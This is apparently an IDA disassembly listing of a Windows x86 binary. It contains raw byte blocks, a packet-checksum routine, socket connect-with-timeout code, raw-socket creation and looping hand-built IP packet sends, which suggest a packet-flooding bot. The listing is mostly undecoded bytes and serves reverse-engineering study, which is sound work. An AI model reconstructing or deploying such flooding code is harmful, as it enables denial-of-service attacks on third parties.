dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch
dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h, 89008B00h
dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h
dd 5415FFFCh, 0BE004CAFh, 200h, 77D3E856h, 3D8B0000h, 4270A8h
dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch
dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh
dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h
dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh, 0E2458966h
dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h
dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh
dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh
dd 4CB00C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o
dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h
dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h
dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CAFF4h
dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch, 0FFFBC085h
dd 5E7C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h
dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
dd 535959FFh, 0C102E890h, 4D8D022Bh, 51046ACCh, 5053026Ah
dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h
dd 0C0858D50h, 68FFFFFBh, 435E44h, 7958E850h, 0C4830000h
dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh
dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
dd 9FE8FFFFh, 59FFFF74h, 85E85359h, 90022BC0h, 0FDC4858Dh
dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
dd 435E2468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
dd 0E8905359h, 22BC014h, 458D106Ah, 0E85053BCh, 7598h
dd 660CC483h, 2BC45C7h, 15FF5300h, 4CAF74h, 0BE458966h
dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h
dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh
dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h
dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch
dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh
dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AF7015FFh
dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB7Ch, 77EEE850h
dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch
dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h
dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h
dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h
dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
dd 4CAF74h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h
dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 7415FF06h
dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah
dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh
dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h, 858D5000h
dd 0FFFFFDC4h, 500875FFh, 435DD468h, 0C0858D00h, 68FFFFFBh
dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h
dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 19E85359h
dd 90022BBDh, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h
dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
dd 435D8468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh
dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
dd 90535959h, 2BBC87E8h
db 2
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+0Ch], esi
jle short loc_4143A5
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_414397: ; CODE XREF: ___:0041439Fj
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_414397
pop edi
cmp eax, 1
loc_4143A5: ; CODE XREF: ___:0041438Bj
jnz short loc_4143B2
mov al, [edx]
mov [ebp+0Ch], al
movzx eax, word ptr [ebp+0Ch]
add esi, eax
loc_4143B2: ; CODE XREF: ___:loc_4143A5j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
; ---------------------------------------------------------------------------
byte_4143CB db 55h ; DATA XREF: sub_401ACD+6D49o
dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh
dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh
dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 5EB068FFh, 0E8500043h
dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h
dd 6F98E8F0h, 5959FFFFh, 0BB7EE856h, 5590022Bh, 0EC81EC8Bh
dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h
dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h
dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0C7D8E800h, 2B900226h
dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h
dd 4CAF18h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h
dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D57068h
dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 868FFFFh
dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h
dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h
dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h
dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h
dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
dd 6FFFFFFh, 69D0E9E8h, 89669071h, 0FFFF5E85h, 60858DFFh
dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h, 0FC45FF00h
dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
leave
retn
; ---------------------------------------------------------------------------
word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo
dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h
dd 214h, 0EC858D50h, 68FFFFFBh, 435EE4h, 7160E850h, 858D0000h
dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh
dd 90006A14h, 2BB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h
dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h
dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360D4h, 710CE850h
dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh
dd 50004CAFh, 43608468h, 8D1BEB00h, 0FF500C45h, 4CAFB415h
dd 0FFF88300h, 15FF2075h, 4CAF08h, 60406850h, 858D0043h
dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h
dd 2DC45C7h, 7415FF00h, 66004CAFh, 8DDE4589h, 90500C45h
dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h
dd 8D500C45h, 0FFFDAC85h, 601468FFh, 0E8500043h, 706Ah
dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
dd 41Ch, 0FFBB05EBh, 39000000h, 4CE7283Dh, 6A527500h, 45895810h
dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h
dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D57068ACh
dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h
dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h
dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch
dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h
dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h
dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h, 223D8966h
dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h
dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h
dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch
dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h, 246852FBh
dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h
dd 4CE308h, 0FFF475FFh, 4CAFD815h, 0FFF88300h, 0A5840Fh
dd 45FF0000h, 0DBE890FCh, 2B0226C2h, 0D233F845h, 3E8B9h
dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h, 858DFC75h
dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h
dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB068h
dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2468500Ch, 0EB00435Fh
db 0ACh
byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o
dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
dd 610068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh
dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 0BDE89056h
dd 5F022BB4h
; ---------------------------------------------------------------------------
pop esi
push ebp
mov ebp, esp
sub esp, 210h
and dword ptr [ebp-4], 0
cmp dword ptr [ebp+14h], 0
push esi
push edi
jnz short loc_414B6E
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
nop
call near ptr 71AB3E5Dh
jmp loc_414C2A
; ---------------------------------------------------------------------------
loc_414B6E: ; CODE XREF: ___:00414B58j
mov esi, [ebp+8]
push 1
pop edi
lea eax, [ebp-8]
push eax
push 8004667Eh
push esi
mov [ebp-8], edi
nop
call near ptr 71AB155Ah
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push esi
call dword_4CAF1C
push dword ptr [ebp+14h]
lea eax, [ebp-210h]
mov [ebp-108h], esi
mov [ebp-10Ch], edi
push 0
push eax
lea eax, [ebp-10Ch]
mov [ebp-20Ch], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp-210h], edi
call dword_4CAF5C
test eax, eax
jnz short loc_414BD2
or eax, 0FFFFFFFFh
jmp short loc_414C2A
; ---------------------------------------------------------------------------
loc_414BD2: ; CODE XREF: ___:00414BCBj
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_414BDD
loc_414BD9: ; CODE XREF: ___:00414BFDj
; ___:00414C21j
mov eax, edi
jmp short loc_414C2A
; ---------------------------------------------------------------------------
loc_414BDD: ; CODE XREF: ___:00414BD7j
lea eax, [ebp-10Ch]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_414BFF
lea eax, [ebp-210h]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_414BD9
loc_414BFF: ; CODE XREF: ___:00414BECj
lea eax, [ebp+8]
mov dword ptr [ebp+8], 4
push eax
lea eax, [ebp-4]
push eax
push 1007h
push 0FFFFh
push esi
nop
call near ptr 71AB4122h
cmp eax, edi
jz short loc_414BD9
mov eax, [ebp-4]
neg eax
sbb eax, eax
loc_414C2A: ; CODE XREF: ___:00414B69j
; ___:00414BD0j ...
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
dw 8B55h
dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh, 6AEC4D8Dh
dd 26A5104h, 98A35053h, 0FF004CE7h, 4CAF5415h, 0A8358B00h
dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh
dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h
dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h
dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h
dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h
dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h
dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h
dd 53004CAFh, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CAFF415h
dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch
dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h
dd 7C70FC7Dh, 0E79CBF83h, 2C68004Ch, 570042CAh, 6A85E8h
dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h
dd 1574C33Bh, 2C685750h, 57004361h, 0E8F04589h, 6A46h
dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h
dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h
dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h
dd 0A366286Ah, 4CE73Ch, 0AF7415FFh, 0D80004Ch, 4CE740h
dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh
dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh
dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh
dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h
dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h
dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh
dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh
dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h
dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh
dd 7905C600h, 6004CE7h, 0AF7415FFh, 0A366004Ch, 4CE77Ah
dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh
dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch
dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h
dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h
dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h
dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h, 4CBE5905h
dd 0BF004CE7h, 4CE77Ch, 421D8966h, 66004CE7h, 0E75C1D89h
dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h
dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h
dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h, 286A5300h
dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h
dd 0F000003h, 0FFFF238Ch, 0BC30E8FFh, 2B900226h, 0D233F445h
dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 25B316E8h
dd 0FDC2E902h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43D130
mov edi, 0B8h
loc_4150C8: ; CODE XREF: sub_4150B4+33j
cmp byte ptr [esi], 0
jz short loc_4150EB
push [ebp+arg_0]
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4150EB
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43DCB0
jl short loc_4150C8
jmp short loc_41512D
; ---------------------------------------------------------------------------
loc_4150EB: ; CODE XREF: sub_4150B4+17j
; sub_4150B4+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43D130[esi]
push ebx
call sub_41B590
push 17h
push [ebp+arg_0]
push ebx
call sub_41B5F0
push 9Fh
lea eax, dword_43D148[esi]
push [ebp+arg_4]
push eax
call sub_41B5F0
add esp, 24h
inc dword_429230
pop ebx
loc_41512D: ; CODE XREF: sub_4150B4+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_4150B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_436148
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
xor edi, edi
mov esi, offset dword_43D130
loc_41515E: ; CODE XREF: sub_415134+72j
cmp byte ptr [esi], 0
jz short loc_415199
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_436134
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41B980
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 2Ch
loc_415199: ; CODE XREF: sub_415134+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43DCB0
jl short loc_41515E
pop edi
pop esi
leave
retn
sub_415134 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151AC proc near ; CODE XREF: ___:004015A5p
; ___:00401629p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
nop
call near ptr 2770000h
mov ebx, offset dword_4D2B9C
mov edi, 80h
mov esi, offset dword_4CEB9C
loc_4151CE: ; CODE XREF: sub_4151AC+3Dj
cmp byte ptr [ebx], 0
jz short loc_4151E5
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41B5F0
add esp, 0Ch
loc_4151E5: ; CODE XREF: sub_4151AC+25j
sub ebx, edi
cmp ebx, esi
jge short loc_4151CE
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41B980
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_4151AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415220 proc near ; CODE XREF: sub_4017ED+F7p
; sub_401ACD:loc_402077p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41C190
lea eax, [ebp+var_80]
push eax
call sub_4151AC
add esp, 14h
leave
retn
sub_415220 endp
; =============== S U B R O U T I N E =======================================
sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4CEB9C
xor ecx, ecx
loc_415253: ; CODE XREF: sub_41524C+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4D2B9C
jl short loc_415253
cmp [esp+arg_C], ecx
jnz short loc_415281
push ecx
push [esp+4+arg_8]
push offset dword_436194
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_409A72
add esp, 14h
